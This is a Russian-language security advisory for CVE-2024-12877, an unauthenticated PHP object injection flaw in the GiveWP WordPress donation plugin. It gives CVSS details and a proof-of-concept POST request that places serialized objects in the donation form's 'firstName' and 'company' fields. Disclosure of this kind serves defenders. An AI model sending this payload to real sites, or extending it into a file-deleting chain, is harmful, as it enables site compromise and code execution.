CVE-2024-12877

GiveWP – Donation Plugin and Fundraising Platform <= 3.19.2 - Неаутентифицированная инъекция PHP-объектов

Описание

Плагин GiveWP – Donation Plugin and Fundraising Platform для WordPress уязвим к инъекции PHP-объектов во всех версиях до 3.19.2 включительно через десериализацию недоверенных данных из формы пожертвования, например 'firstName'. Это позволяет неаутентифицированным атакующим внедрить PHP-объект. Наличие дополнительной POP-цепочки позволяет атакующим удалять произвольные файлы на сервере, что делает возможным удалённое выполнение кода. Обратите внимание, что в 3.19.3 эта проблема была исправлена лишь частично; полностью достаточное исправление было выпущено только в 3.19.4. Однако для версии 3.19.3 другой CNA присвоил отдельный CVE, поэтому мы оставляем эту уязвимость как затрагивающую 3.19.2 и более ранние версии. Мы рекомендовали вендору использовать JSON-кодирование для предотвращения появления дальнейших уязвимостей десериализации.

Детали

• Тип: плагин
• Slug: give
• Затронутая версия: 3.19.2
• Оценка CVSS: 9.8
• Рейтинг CVSS: Критический
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12877
• Статус: Активный

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=O:20:"PHP_Object_Injection":0:{}&[email protected]&donationType=single&donationBirthday=